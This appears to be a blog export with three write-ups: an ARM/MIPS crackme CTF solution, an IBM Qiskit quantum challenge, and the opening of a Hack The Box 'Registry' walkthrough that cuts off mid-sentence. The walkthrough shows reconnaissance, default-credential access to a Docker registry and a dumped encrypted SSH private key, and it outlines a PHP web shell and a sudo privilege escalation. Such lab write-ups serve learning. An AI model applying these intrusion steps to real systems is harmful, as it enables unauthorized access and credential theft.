Then it is adding values to these A's in memory. I'm willing to wager that this will be our flag! This was the only part necessary to complete the challenge. But why stop here! Similar to how I set up the environment to be able to run the binary I wanted to learn how to properly debug something of a different architecture. This part required a few things to work correctly. You need to add the -g flag to qemu-mips64 to indicate you will be attaching it to a gdb session. Secondly you need to start gdb-multi arch with the binary, set the right architecture configurations, then connect to the listening session. root@kali:~/Desktop/NSEC2020/cracks# qemu-mips64 -g 12345 crackme3 &amp; [1] 5146 root@kali:~/Desktop/NSEC2020/cracks# gdb-multiarch crackme3 GNU gdb (Debian 9.1-3) 9.1 ... Reading symbols from crackme3... (No debugging symbols found in crackme3) gef➤ set arch mips The target architecture is assumed to be mips gef➤ set endian big The target is assumed to be big endian gef➤ target remote localhost:12345 Remote debugging using localhost:12345 Alright, now what? If we take a look at the decompiled version one more time we can see that register $v0 is storing the value of the additions. If we look at it through gdb we can see the value of $v0. Finally if we iterate through the logic we should be able to gather all the values necessary. Excellent! Or almost... Seems a few characters are missing. Since we started with a string of all 'A' characters it makes sense that these did not need to be modified, therefore we missed them in the logic flow. Crackme 4 Similar to crackme 3 we ran into a different architecture - this time ARM based. Also similar to the previous crackme I made it much harder on myself than was needed. In the interest of knowledge and learning a bit more I followed the same steps as crackme3 to get the ARM based libraries and debuggers working in my environments. While this wasn't necessarily required for crackme4, it was paramount in solving crackme5. sudo apt-get install qemu-system-arm sudo apt-get install gcc-arm-linux-gnueabihf Now if we try and run the binary. root@kali:~/Desktop/NSEC2020/cracks# qemu-arm crackme4 /lib/ld-linux.so.3: Invalid ELF image for this architecture Argh... so similar to the previous crackme I need to get the proper libaries lined up. Unfortunately I already have a library configured at the location for a different architecture. If I were to symlink the ARM library I would most likely end up screwing other things up. A bit of reading later and I learned I can supply the library location directly to qemu. root@kali:~/Desktop/NSEC2020/cracks# qemu-arm -L /usr/arm-linux-gnueabihf/ crackme4 root@kali:~/Desktop/NSEC2020/cracks# Excellent we have it running! At least I think so... Let's take a look at it with ghidra. Interesting, those hex characters seem readable. If gather them up in the proper order and convert them. root@kali:~/Desktop/NSEC2020/cracks# ../askgod submit FLAG-HtWywoKQraYiWbW Congratulations, you score your team 1 points! Beautiful, one more crackme down. Crackme 5 The grand daddy of the set. I enjoyed this one the most, but it also caused me the most pain. This crackme5 is also an ARM based binary. With the setup done for crackme4 we should be able to execute this binary. root@kali:~/Desktop/NSEC2020/cracks# qemu-arm -L /usr/arm-linux-gnueabihf/ crackme5 Enter passcode: 1234 Unauthorized Well that went smoothly! Alright we need to spend some time understanding what it is looking for as far as \"authorization\" though. Let's pop it open in ghidra. This is a bit to follow so breaking it down our value first goes through a strtol to convert the supplied string to a base 10 integer. Secondly it calls validate which has three sub-functions. If we put all the functions together the neat formula that needs to be satisfied becomes the following. $$ \\begin{align*} [pass\\ \\newcommand*\\xor{\\oplus}\\ 0x1a75]\\ \\newcommand*\\ShiftLeft{\\ll}\\ [(pass\\ \\newcommand*\\BitAnd{\\mathbin{\\&amp;}}\\ 1) + 2] = pass + 0x21a3937 \\end{align*} $$ Or since we are working with decimal. $$ \\begin{align*} [pass\\ \\newcommand*\\xor{\\oplus}\\ 6773]\\ \\newcommand*\\ShiftLeft{\\ll}\\ [(pass\\ \\newcommand*\\BitAnd{\\mathbin{\\&amp;}}\\ 1) + 2] = pass + 35273015 \\end{align*} $$ This may look confusing but if we break it down by chunk. Our pass input is XOR’d with 6773 Our pass is AND’d with 1 (which keeps the least significant bit) The XOR result is then Left Bit Shifted by either 2 or 3 (essentially multiplying the result by 4 or 8) This result needs to equal our pass input added to 35273015 Now I spent probably too much time trying to reduce this to a simpler equation but in the end I broke it down to possibilities. Since we knew that the input was limited to 10 characters that allowed for only 100 million options - not bad! Here are some other assumptions I made to reduce it further. Since we need to add 35 million to our input on the right side and the left side total is being multiplied by only 4 or 8 we are dealing with numbers in the millions. As a result the XOR action would negligible for our loose approximations. With the XOR assumption our equivalent equation becomes: $$ \\begin{align*} pass\\ * [4|8] = pass + 35273015 \\end{align*} $$ That seems much easier to approximate! If I do it by million chunks and take the lower and upper bounds of multiplying by 4 or 8: M - 4 / 8 ------------------------------- 4 - 16/32 -&gt; possibility 5 - 20/40 -&gt; possibility 6 - 24/48 7 - 28/56 8 - 32/64 9 - 36/72 10 - 40/80 11 - 44/88 -&gt; possibility 12 - 48/96 13 - 52/104 14 - 56/112 15 - 60/120 What this is telling us is that our answer is somewhere in the 4-6 million or 11 million range. That's still not an answer, but 3 million possibilities is better than 100 million! At this point I did not have a better idea to optimize further so I decided to bite the bullet and bruteforce the 3 million possibilities. Using seq to create three 1-million digit files I pumped them through a simple one liner to grep for the answer, then walked away to have a drink thinking this wouldn't work. Lo and behold I walked back to the following. Hot diggity daffodils! Alright I still don't trust myself so I decided to test it manually. Excellent, all that is left is to submit! Wrap-up Overall I had a great time working on the various crackmes and definitely learned a thing or two throughout. Unfortunately due to amount of challenges available during the CTF and real life priorities I had to limit myself to a narrow subset and was only able to tackle these six crackmes and the two dreamcast (writeup soon to follow) challenges. I'm looking forward to reading other writeups of crackme5 and seeing if others had a more eloquent solution than my optimized bruteforce approach. As always thanks folks, until next time!" }, { "title": "Qiskit Quantum Challenge 2020", "url": "/quantum-computing/2020/05/09/ibm-quantum-challenge/", "categories": "quantum-computing", "tags": "qiskit, quantum-computing, quantum-gates, unitary, error-correction, bb84", "date": "2020-05-09 08:00:00 -0400", "content": "Introduction Four challenges to complete in four days - IBM sure knows how to tug at my heartstrings. Initially unaware of the challenge it was only ironically as I was preparing to deliver a Career Week Quantum Computing presentation with a colleague did IBM's Quantum Challenge come up in conversation. A quick look at the introductory page and I put on an extra pot of coffee as I knew I would be making up for loss time of the first two days. The challenges were a perfect difficulty level for my current level of QC knowledge. Challenges 1 and 2 were introductory and helped get back in the groove of working with Qiskit, adding an element of error correction that I was not familiar with previously. Challenge 3 provided an opportunity to work with Quantum Cryptography, specifically a portion of BB84. I was already familiar with BB84 theory and this was more of a challenge on how to get it implemented practically. Lastly, challenge 4 is where we jumped off the deep end. Not only were the concepts involved things I had not heard of yet, the Qiskit specific functionality required to proceed further was also foreign to me at the start. This challenge pushed my initial boundaries and I'm happy to say with some determination and a lot of reading I was able to complete it with my own inneficient approach. Your \"final score\" being determined by how efficient your solution was also helped drive the community to not only solve the challenge, but push themselves to improve their solutions further. I took the opportunity and remaining time available to have a few conversations and learn what to look for as far as optimizations. I'm happy to say that while I did not manage to get near the lowest scores seens during the challenge I was able to further reduce the overall cost of my circuit. Despite the challenge now being closed all material is available at Qiskit's community github repo. Follow along as I go over the four challenges using some of the material covering how I ended up solving them. Challenge 1 - Basic Quantum Circuits Not so much a challenge as an introduction to using Qiskit, how quantum gates operate, and visualizing qubit states being run through these gates. The first exercise focused on interacting with a single qubit while the second exercise touched on multi-qubit interactions. As long as you followed the provided information, performed each portion step by step, and kept track of what each gate's functionality was this section was rather quick. Each gate's functionality used throughout the exercise can be condensed down to: qc.x(0) # bit flip qc.y(0) # bit and phase flip qc.z(0) # phase flip qc.h(0) # superpostion qc.s(0) # quantum phase rotation by pi/2 (90 degrees) qc.sdg(0) # quantum phase rotation by -pi/2 (90 degrees) qc.cx(c,t) # controlled-X (= CNOT) gate with control qubit c and target qubit t qc.cz(c,t) # controlled-Z gate with control qubit c and target qubit t qc.swap(a,b) # SWAP gate that swaps the states of qubit a and qubit b Then if we take a look at an example of the type of questions were asked throughout the exercise: I.i) Let us start by performing a bit flip. The goal is to reach the state |1⟩ starting from state |0⟩. Most of the code was already provided for this question. The challenge was to conceptually understand what was being asked and apply the correct gate. In this case, if we applied a Hadamard gate to the qubit we would end up performing a bit flip. def create_circuit(): qc = QuantumCircuit(1) qc.x(0) return qc # check solution qc = create_circuit() state = statevec(qc) check1(state) plot_state_qsphere(state.data, show_state_labels=True, show_state_angles=True) Sure enough, visualizing the state with the provided code we see we were successful. Challenge 2 - Error Correction The second challenge offered an opportunity to do a couple different things. Firstly, the entire premise that a physical implementation of QC would have inherent erorrs introduced requires us to interact with the physical hardware. Secondly, the challenge taught us how to introduce error correction to our specific data run and answer questions related to the data set. The theory behind the error correction was explained well using the following: We start by creating a set of circuits that prepare and measure each of the \\(2^{n}\\) basis states, where 𝑛 is the number of qubits. For example, 𝑛=2 qubits would prepare the states |00⟩, |01⟩, |10⟩, and |11⟩ individually and see the resulting outcomes. The outcome statistics are then captured by a matrix 𝑀, where the element \\(𝑀_{𝑖𝑗}\\) gives the probability to get output state |𝑖⟩ when state |𝑗⟩ was prepared. Some code snippets were provided to help select the least busy backend and run a calibration test for our baseline. # find the least busy device that has at least 5 qubits backend = least_busy(provider.backends(filters=lambda x: x.configuration().n_qubits &gt;= num_qubits and not x.configuration().simulator and x.status().operational==True)) Then we leverage this backend to run our callibration matrix generation, while keeping an eye on the job status. # run experiments on a real device shots = 8192 experiments = transpile(meas_calibs, backend=backend, optimization_level=3) job = backend.run(assemble(experiments, shots=shots)) print(job.job_id()) %qiskit_job_watcher With the job run complete, we can then visualize the latent errors seen in our backend. We will use this result to apply our upcoming corrections. # get measurement filter cal_results = job.result() meas_fitter = CompleteMeasFitter(cal_results, state_labels, circlabel='mcal') meas_filter = meas_fitter.filter #print(meas_fitter.cal_matrix) meas_fitter.plot_calibration() As mentioned in the Challenge 2 notebook \"The goal of this exercise is to create a calibration matrix 𝑀 that you can apply to noisy results (provided by us) to infer the noise-free results\". With our callibration matrix created we can proceed through the questions. First we visualize the provided \"noisy\" data, apply our error correction, then finally answer the questions by choosing which graphs resembled our corrected data sets. Challenge 3 - BB84 Now that we covered QC basics with challenges 1 and 2, time to move on to some practical application! The challenge 3 notebook starts by going over the theory of the BB84 Quantum Key Distribution algorithm as we will be tasked with implementing parts of it as our challenge. Theory We can break down the BB84 algorithm into three parts for this challenge. 1). Alice chooses k bits that represent the actual information she wants to encode, b bases that will represent how she encodes her information bit. For \\(b_i=0\\) (i.e., if the \\(i^{th}\\) bit is zero), Alice encodes the \\(i^{th}\\) qubit in the standard {|0⟩,|1⟩} basis, while for \\(b_i=1\\), she encodes it in the {|+⟩,|−⟩} basis, where: $$ \\begin{align*} \\left|+\\right&gt; := \\frac{1}{\\sqrt{2}}(\\left|0\\right&gt; + \\left|1\\right&gt;) \\end{align*} $$ and $$ \\begin{align*} \\left|-\\right&gt; := \\frac{1}{\\sqrt{2}}(\\left|0\\right&gt; - \\left|1\\right&gt;) \\end{align*} $$ then sends these qubits to Bob. 2). Bob choses his own set of b and measures the qubits sent by Alice with these bases, storing his own set of k. 3). Alice and Bob compare bases. For any \\(i^{th}\\) base that does not match, they will discard the corresponding k. Once these three steps are completed, both Alice and Bob will have a shared set of information that will serve as their secret key. For this challenge parts 1 &amp; 2 in the above graph has been provided to us. We will first need to implement our own function to measure the \"prepared qubits\" that Alice sends us. Secondly, given that Alice has provided her bases, iterate through our measurements and discard those that do not match. Lastly, with our secret key with Alice defined we need to use that key to decrypt a secret message she sent us. Solution For the first portion we are tasked with creating bob_measure_qubit in the below code portion. %matplotlib inline # Importing standard Qiskit libraries import random from qiskit import execute, Aer, IBMQ from qiskit.tools.jupyter import * from qiskit.visualization import * from may4_challenge.ex3 import alice_prepare_qubit, check_bits, check_key, check_decrypted, show_message # Configuring account provider = IBMQ.load_account() backend = provider.get_backend('ibmq_qasm_simulator') # Initial setup random.seed(84) # do not change this seed, otherwise you will get a different key # This is your 'random' bit string that determines your bases numqubits = 100 bob_bases = str('{0:0100b}'.format(random.getrandbits(numqubits))) def bb84(): print('Bob\\'s bases:', bob_bases) # Now Alice will send her bits one by one... all_qubit_circuits = [] for qubit_index in range(numqubits): # This is Alice creating the qubit thisqubit_circuit = alice_prepare_qubit(qubit_index) # This is Bob finishing the protocol below bob_measure_qubit(bob_bases, qubit_index, thisqubit_circuit) # We collect all these circuits and put them in an array all_qubit_circuits.append(thisqubit_circuit) # Now execute all the circuits for each qubit results = execute(all_qubit_circuits, backend=backend, shots=1).result() # And combine the results bits = '' for qubit_index in range(numqubits): bits += [measurement for measurement in results.get_counts(qubit_index)][0] return bits # Here is your task def bob_measure_qubit(bob_bases, qubit_index, qubit_circuit): #### to be filled out #### bits = bb84() print('Bob\\'s bits: ', bits) check_bits(bits) To solve this portion we will need to iterate through Bob's bases, and when the base is 0, we are measuring the qubit in the Z axis so leave it as is, and if the base is 1, we are measuring the qubit in the X axis, and need to apply a Hadamard gate to the circuit before measuring. def bob_measure_qubit(bob_bases, qubit_index, qubit_circuit): if bob_bases[qubit_index] == '0': #measuring in Z qubit_circuit.measure(0,0) if bob_bases[qubit_index] == '1': #measuring in X qubit_circuit.h(0) qubit_circuit.measure(0,0) Side note: I lost several hours at this point and exemplified my ingrained classical vs. quantum thinking. I had the BB84 theory right and was applying the gate properly, however when I ran the code my bits would return all 0s. It took me entirely too longer to realize I was forgetting to measure the circuit as part of the iteration. Harsh lesson. Next, we need create a function to compare bases and keep only the measured bits where they match. key = '' for basis_index in range(numqubits): print(\"Bob: \",bob_bases[basis_index]) print(\"Alice: \",alice_bases[basis_index]) if bob_bases[basis_index] == alice_bases[basis_index]: key += bits[basis_index] print(key) print(\"==========\") check_key(key) With our key established we are provided Alice's encrypted message. While iterating through the message and our key I decided to take an \"easier\" approach and keep the logic using strings rather than covert them to digits. I wrote my own simple variant of XOR while iterating through our strings. m = '0011011010100011101000001100010000001000011000101110110111100111111110001111100011100101011010111010111010001'\\ '1101010010111111100101000011010011011011011101111010111000101111111001010101001100101111011' # encrypted message decrypted = '' for index in range(len(m)): if m[index] == \"0\": if key[index % 50] == \"0\": decrypted += \"0\" if key[index % 50] == \"1\": decrypted += \"1\" if m[index] == \"1\": if key[index % 50] == \"0\": decrypted += \"1\" if key[index % 50] == \"1\": decrypted += \"0\" print(decrypted) check_decrypted(decrypted) The final part of this challenge was to understand the decrypted message. The challenge notebook let us know this was morse code encrypted and provided a conversion chart to get the string readable. I'll be perfectly honest and after the several hours lost forgetting to measure the circuit I did not want to strain my brain further trying to write up a snippet of code to do the conversion - so since it was a small amount of text I did it by hand in 5 minutes. r .-. 10110100 e . 100 d -.. 11010100 d -.. 11010100 i .. 10100 t - 1100 . .-.-.- 1011010110101100 c -.-. 11010110100 o --- 1101101100 m -- 1101100 / -..-. 1101010110100 r .-. 10110100 / -..-. 1101010110100 m -- 1101100 a .- 101100 y -.-- 110101101100 4 ....- 101010101100 q --.- 110110101100 u ..- 10101100 a .- 101100 n -. 110100 t - 1100 u ..- 10101100 m -- 11011 Which brings us to our answer for challenge 3 - reddit.com/r/may4quantum Challenge 4 - Circuit Decomposition Here is where the piano was dropped on our collective heads. Reading through the brief a first time I reached the coding section and stopped a moment to scratch my head - I wasn't entirely sure what I was reading let alone what they were asking us to accomplish. This is where the community came to the rescue and I was able to boil down the challenge and a few related details that were not provided initially in the notebook. The following is a conversation seen in the slack channel during the challenge. do we take the U gate and remake it only using single qubit rotations and cnots? then whats the V and what does it mean to have a cost smaller than 1600? The gate you make is called might be an approximation of U. Since it's not identical, we give it a different name: V. U is the reference Unitary and V is the approximation, cost is calculated on the number of u3 and cx gates CX gates cost 10, and U3s cost 1 so U gives these numbers, and we need to figure out a V which gives (very closely) the same numbers? yes, that's the goal Thank you random stranger for asking the question before me! Now at least there is a clear understanding of _what_ we are trying to accomplish. With that, let us start looking at the details. Initial Investigation We are given a unitary U: from may4_challenge.ex4 import get_unitary U = get_unitary() print(\"U has shape\", U.shape) #print(U) The shape of U is shown as (16,16) and if we print out U directly it gives us a 16x16 matrix with various values. I didn't think of this originally, however it would have been smart to plot U and notice the symmetry. There are two important Qiskit functionalities that we will need to use for my approaches - isometry and transpile. Firstly QuantumCircuit.iso attaches an arbitrary isometry from m to n qubits to a circuit. In particular, this allows to attach arbitrary unitaries on n qubits (m=n) or to prepare any state on n qubits (m=0). In our particular situation we can set our unitary U to our quantum circuit qc. Secondly transpile allows us to transpile, or break down, one or more circuits into a desired target. Since our ultimate goal with this challenge is to create a circuit using only u3 and cx gates we can use transpile to reduce our target circuit to those specific gates. With the information we have we can now code up a small sample and see where we are at. qc.iso(U, [0,1,2,3], []) V = transpile(qc,basis_gates=['u3','cx'],optimization_level=3) At least our theory works and we have something to work with. It looks like even with the highest optimization level set on transpile we still have too high of a complexity cost. We will need to see what we can do to make that more efficient. Inefficient Solution While I covered the solution for challenge 3 above, some might be wondering why a subreddit? If we follow the trail of crumbs we are pointed to the solution of challenge 1 as a hint for this final challenge - which came out as \"Hadamard\". There was a lot of reading and attempts at understanding the theory at this point but my (potentially fallible) logic was that by multiplying a 16x16 Hadamard matrix H to the unitary U, we would have a circuit section denoted HU. The inverse of a Hadamard gate is closely related to itself, in this case \\(HH^{T} = HH = I\\), or the Identity matrix, so if we were to add another H circuit this should create a circuit of \\(HHU = IU\\). In theory, we should have a reduced circuit that approximates U. qc = QuantumCircuit(4) qc1 = QuantumCircuit(4) # Create 16x16 Hadamard H = scipy.linalg.hadamard(16)/4 # HU qc.iso(np.matmul(U,H), [0,1,2,3], []) V=transpile(qc,basis_gates=['u3','cx'],optimization_level=3) # H qc1.iso(H, [0,1,2,3], []) V1=transpile(qc1,basis_gates=['u3','cx'],optimization_level=3) # HHU -&gt; IU V2 = V1 + V V2.draw() Our circuit ends up looking like the following. Excellent, our theory ended up working! This isn't the most efficient solution as the lowest cost recorded was 45, however I'm proud that I was able to get an initial solution. Optmization While our HHU attempt worked because we added two separate circuits together, we should be able to reduce the complexity cost by doing the work prior to invoking isometry - at least that is my assumption in theory. I used scipy.linalg.hadamard in my initial solution, however I quickly found out it did not work well with this second approach. I needed to switch from generating a 16x16 Hadamard matrix (which by documentation should also be using Sylverster's construction) to using numpy.kron to compute my own 16x16 Kronecker product. If we apply this approach we start off with. h = np.matrix([[1,1], [1,-1]]) / np.sqrt(2) h2x2 = np.kron(h,h) h4x4 = np.kron(h2x2, h2x2) huh = h4x4 * U * h4x4 qc.iso(huh, [0,1,2,3], []) qc = transpile(qc,basis_gates=['u3','cx'],optimization_level=3) This ended up working as far as creating a more optimized circuit, however when we go to check our solution we see something off. Hum... so our cost was drastically reduced, but the solution did not produce the right approximation of U. Once again the community came to the rescue at this point. I did not fully understand it originally, and to be perfectly honest I am still spending time reading through the theory, however I came to learn that since we modified our unitary to be in Hadamard space, we would need to apply H gates on our qubits before and after the circuit to represent our original unitary. This brings our solution to the following. h = np.matrix([[1,1], [1,-1]]) / np.sqrt(2) h2x2 = np.kron(h,h) h4x4 = np.kron(h2x2, h2x2) huh = h4x4 * U * h4x4 qc.h([0,1,2,3]) qc.iso(huh, [0,1,2,3], []) qc.h([0,1,2,3]) qc = transpile(qc,basis_gates=['u3','cx'],optimization_level=3) Then if we draw this circuit out and evaluate it. Success! Much happier with this result and although I would love to spend more time trying to get further optimization, I believe this is a good stopping point. There are quite a few concepts and theory I need to bring myself up to speed with before I can truly understand how to start approaching further improvements. Conclusion &amp; Next Steps This Quantum Challenge was a great continuation of my Quantum journey. As I mentioned in my previous QC Helloworld post I was already planning on diving into BB84 implementation. Challenge 3 offered me that chance and I definitely want to continue with implementing the algorithm more completely. Within a day of the challenge closing IBM issued the digital badge for completing the four exercises. This is a nice addition to the overall challenge in addition to the knowledge gained. Additionally, not that I needed further reinforcement, but this challenge highlighted just how much I don't know in the space. While I have a basic Linear Algebra background and a Comp Sci mindset, while reading some of community's the most efficient approaches to challenge 4 there were quite a few concepts I did not have enough understanding to apply myself. These will be topics of further reading in the near future. Hopefully you all learned something while reading along with my writeup. As always thanks folks, until next time!" }, { "title": "Hack the Box - Registry", "url": "/hack-the-box/2020/04/05/htb-machine-registry/", "categories": "hack-the-box", "tags": "htb, docker, bolt, cms, hashcat, sqlite, restic", "date": "2020-04-05 09:00:00 -0400", "content": "Introduction Working with insecure Docker credentials we manage to extract a SSH key and corresponding password crumbs for an initial user foothold. Following that access we find a sqlite file containing Bolt CMS admin credentials. Logging into the CMS we modify the config to allow a PHP shell of our choosing to access the host as www-data. Finally once we have www-data access we are able to abuse a restic sudo rule to expose the root flag. In what seems like a continuing trend from 2019 machines I made this box much more difficult on myself than was needed. Starting with the docker portion I should have simply started the docker image and explored further inside rather than the convoluted way I approached it. For the Bolt CMS portion I focused much too long on the Twig execution in an attempt to get something useful to execute. Once I realized the configuration could be modified it was much easier from there. Registry was probably one of the more informative machines I have worked on. While not focusing too much on any one technology, it provided more than a single opportunity to improve my overall knowledge and as a learning experience I greatly appreciated the approach. Initial Recon Let's kick it off with an NMAP scan. root@kali:~/Desktop/HTB/Registry# nmap -sV -sC -p- 10.10.10.159 Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-30 15:09 EDT Nmap scan report for 10.10.10.159 Host is up (0.018s latency). Not shown: 65532 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA) | 256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA) |_ 256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Welcome to nginx! 443/tcp open ssl/http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Welcome to nginx! | ssl-cert: Subject: commonName=docker.registry.htb | Not valid before: 2019-05-06T21:14:35 |_Not valid after: 2029-05-03T21:14:35 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Right off the bat we notice a new subdomain: docker.registry.htb. We can add both this and registry.htb to our /etc/hosts file before we continue. Checking both domains in a browser seems to return a default nginx page. We can dive down into this a bit further. I kicked off dirb runs for each of the domains on 80/443 and got a few interesting hits. The below was the most useful however. root@kali:~/Desktop/HTB/Registry# dirb http://docker.registry.htb/ /usr/share/wordlists/dirb/common.txt ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Oct 30 15:36:16 2019 URL_BASE: http://docker.registry.htb/ WORDLIST_FILES: /usr/share/wordlists/dirb/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://docker.registry.htb/ ---- + http://docker.registry.htb/v2 (CODE:301|SIZE:39) Browsing to the /v2 page we are presented with a Basic Auth challenge. I got slightly lucky here as my first guess was admin/admin and sure enough that was the proper credentials. By this point it was fairly clear we were working with a Docker Registry API. Docker's docs provided some background information on how to interact with the API. Listing Repositories Images are stored in collections, known as a repository, which is keyed by a name, as seen throughout the API specification. A registry instance may contain several repositories. The list of available repositories is made available through the catalog. The catalog for a given registry can be retrieved with the following request: GET /v2/_catalog Sure enough, we are able to get some information out of the repository. I also figured it would be easier to move to the command line at this point for future steps. User exploitation Next step was to leverage the bolt image. Disclaimer: from this part until I get proper shell access to the Registry machine I was quite messy. I'm omitting quite a few parts where I ended up going down deadends but I'm attempting to keep enough to show my thought process throughout it. root@kali:~/Desktop/HTB/Registry# docker run -i docker.registry.htb/bolt-image /bin/bash id uid=0(root) gid=0(root) groups=0(root) Once running as root within the image we find a few interesting tidbits. Firstly, a password protected SSH keyfile. cat /root/.ssh/id_rsa -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,1C98FA248505F287CCC597A59CF83AB9 KF9YHXRjDZ35Q9ybzkhcUNKF8DSZ+aNLYXPL3kgdqlUqwfpqpbVdHbMeDk7qbS7w KhUv4Gj22O1t3koy9z0J0LpVM8NLMgVZhTj1eAlJO72dKBNNv5D4qkIDANmZeAGv 7RwWef8FwE3jTzCDynKJbf93Gpy/hj/SDAe77PD8J/Yi01Ni6MKoxvKczL/gktFL ... f41H5YN+V14S5rU97re2w49vrBxM67K+x930niGVHnqk7t/T1jcErROrhMeT6go9 RLI9xScv6aJan6xHS+nWgxpPA7YNo2rknk/ZeUnWXSTLYyrC43dyPS4FvG8N0H1V 94Vcvj5Kmzv0FxwVu4epWNkLTZCJPBszTKiaEWWS+OLDh7lrcmm+GP54MsLBWVpr -----END RSA PRIVATE KEY----- I could have saved myself a lot of pain if I kept exploring here instead of take a step back. Unfortunately I seem to like doing things the complicated way and went back to the docker image on my local machine. root@kali:~/Desktop/HTB/Registry# docker save docker.registry.htb/bolt-image -o imagesave.tar root@kali:~/Desktop/HTB/Registry# tar tvf imagesave.tar drwxr-xr-x root/root 0 2019-05-25 11:18 06b8ace0d7fbcb0958c7e733ca0302f8908216ff16fd05adcce743646c46006b/ -rw-r--r-- root/root 3 2019-05-25 11:18 06b8ace0d7fbcb0958c7e733ca0302f8908216ff16fd05adcce743646c46006b/VERSION -rw-r--r-- root/root 482 2019-05-25 11:18 06b8ace0d7fbcb0958c7e733ca0302f8908216ff16fd05adcce743646c46006b/json -rw-r--r-- root/root 3072 2019-05-25 11:18 06b8ace0d7fbcb0958c7e733ca0302f8908216ff16fd05adcce743646c46006b/layer.tar drwxr-xr-x root/root 0 2019-05-25 11:18 10f6d95df2da28fe84a8f620262b5216e257c5c293ff58999888759fb4800e4a/ -rw-r--r-- root/root 3 2019-05-25 11:18 10f6d95df2da28fe84a8f620262b5216e257c5c293ff58999888759fb4800e4a/VERSION -rw-r--r-- root/root 482 2019-05-25 11:18 10f6d95df2da28fe84a8f620262b5216e257c5c293ff58999888759fb4800e4a/json -rw-r--r-- root/root 15872 2019-05-25 11:18 10f6d95df2da28fe84a8f620262b5216e257c5c293ff58999888759fb4800e4a/layer.tar drwxr-xr-x root/root 0 2019-05-25 11:18 1f366db3c46ee1342df7553f3b5af64e6a8dc361e98529ee4b4b54042b9469ba/ -rw-r--r-- root/root 3 2019-05-25 11:18 1f366db3c46ee1342df7553f3b5af64e6a8dc361e98529ee4b4b54042b9469ba/VERSION -rw-r--r-- root/root 482 2019-05-25 11:18 1f366db3c46ee1342df7553f3b5af64e6a8dc361e98529ee4b4b54042b9469ba/json -rw-r--r-- root/root 12288 2019-05-25 11:18 1f366db3c46ee1342df7553f3b5af64e6a8dc361e98529ee4b4b54042b9469ba/layer.tar drwxr-xr-x root/root 0 2019-05-25 11:18 259ad1dcccc93baa2431b4d02a953923a713cf3753bda84e1d2dfc3756e4f661/ -rw-r--r-- root/root 3 2019-05-25 11:18 259ad1dcccc93baa2431b4d02a953923a713cf3753bda84e1d2dfc3756e4f661/VERSION -rw-r--r-- root/root 482 2019-05-25 11:18 259ad1dcccc93baa2431b4d02a953923a713cf3753bda84e1d2dfc3756e4f661/json -rw-r--r-- root/root 3072 2019-05-25 11:18 259ad1dcccc93baa2431b4d02a953923a713cf3753bda84e1d2dfc3756e4f661/layer.tar drwxr-xr-x root/root 0 2019-05-25 11:18 294f440a0c71e88b9f684b4aa16c9f636555b1552f5ae6effc929aac3167006e/ -rw-r--r-- root/root 3 2019-05-25 11:18 294f440a0c71e88b9f684b4aa16c9f636555b1552f5ae6effc929aac3167006e/VERSION -rw-r--r-- root/root 482 2019-05-25 11:18 294f440a0c71e88b9f684b4aa16c9f636555b1552f5ae6effc929aac3167006e/json -rw-r--r-- root/root 4608 2019-05-25 11:18 294f440a0c71e88b9f684b4aa16c9f636555b1552f5ae6effc929aac3167006e/layer.tar -rw-r--r-- root/root 3922 2019-05-25 11:18 601499e98a60fad1012dffea66a4bafe8cb1b9f86215cc91ad698f27c73cea52.json drwxr-xr-x root/root 0 2019-05-25 11:18 81cfd55e701325a99491ca34edda51624973827ee22986d282db2aabcf16a826/ -rw-r--r-- root/root 3 2019-05-25 11:18 81cfd55e701325a99491ca34edda51624973827ee22986d282db2aabcf16a826/VERSION -rw-r--r-- root/root 1092 2019-05-25 11:18 81cfd55e701325a99491ca34edda51624973827ee22986d282db2aabcf16a826/json -rw-r--r-- root/root 3584 2019-05-25 11:18 81cfd55e701325a99491ca34edda51624973827ee22986d282db2aabcf16a826/layer.tar drwxr-xr-x root/root 0 2019-05-25 11:18 8d3a38ed8c74521645e23950192931dad42db3c2a17227903927293c417e5650/ -rw-r--r-- root/root 3 2019-05-25 11:18 8d3a38ed8c74521645e23950192931dad42db3c2a17227903927293c417e5650/VERSION -rw-r--r-- root/root 482 2019-05-25 11:18 8d3a38ed8c74521645e23950192931dad42db3c2a17227903927293c417e5650/json -rw-r--r-- root/root 6656 2019-05-25 11:18 8d3a38ed8c74521645e23950192931dad42db3c2a17227903927293c417e5650/layer.tar drwxr-xr-x root/root 0 2019-05-25 11:18 a5b18303f904179fa1f08e031e952731c78135923bdb63a1e90f8fd1bd5d51c7/ -rw-r--r-- root/root 3 2019-05-25 11:18 a5b18303f904179fa1f08e031e952731c78135923bdb63a1e90f8fd1bd5d51c7/VERSION -rw-r--r-- root/root 482 2019-05-25 11:18 a5b18303f904179fa1f08e031e952731c78135923bdb63a1e90f8fd1bd5d51c7/json -rw-r--r-- root/root 267533824 2019-05-25 11:18 a5b18303f904179fa1f08e031e952731c78135923bdb63a1e90f8fd1bd5d51c7/layer.tar drwxr-xr-x root/root 0 2019-05-25 11:18 d73ae8e1d64101c5a52228f401d05dd246ad10b0f55349351f6d2cd0e73f7928/ -rw-r--r-- root/root 3 2019-05-25 11:18 d73ae8e1d64101c5a52228f401d05dd246ad10b0f55349351f6d2cd0e73f7928/VERSION -rw-r--r-- root/root 406 2019-05-25 11:18 d73ae8e1d64101c5a52228f401d05dd246ad10b0f55349351f6d2cd0e73f7928/json -rw-r--r-- root/root 104231424 2019-05-25 11:18 d73ae8e1d64101c5a52228f401d05dd246ad10b0f55349351f6d2cd0e73f7928/layer.tar -rw-r--r-- root/root 842 1969-12-31 19:00 manifest.json -rw-r--r-- root/root 113 1969-12-31 19:00 repositories With the image layers saved as tar files, we descended into madness. Madness did end 